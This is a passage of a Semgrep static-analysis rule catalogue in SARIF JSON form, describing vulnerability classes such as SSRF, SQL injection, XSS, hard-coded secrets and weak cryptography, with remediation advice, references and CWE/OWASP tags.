java.micronaut.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"help":{"markdown":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n","text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode","id":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","name":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_ecb_mode.use_ecb_mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","id":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","name":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","id":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","name":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","id":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","name":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"help":{"markdown":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver","id":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","name":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.keyedarchiver.swift-keyedarchiver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","id":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","name":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","id":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","name":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.npmjs.com/package/bcrypt](https://www.npmjs.com/package/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","id":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","name":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","id":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","name":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape)\n - [http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/](http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/)\n","text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"help":{"markdown":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"helpUri":"https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","id":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","name":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"help":{"markdown":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key)\n - [https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/](https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/)\n - [https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d](https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d)\n","text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","id":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","name":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"help":{"markdown":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect)\n - [https://brakemanscanner.org/docs/warning_types/redirect/](https://brakemanscanner.org/docs/warning_types/redirect/)\n","text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","id":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","name":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","id":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","name":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared 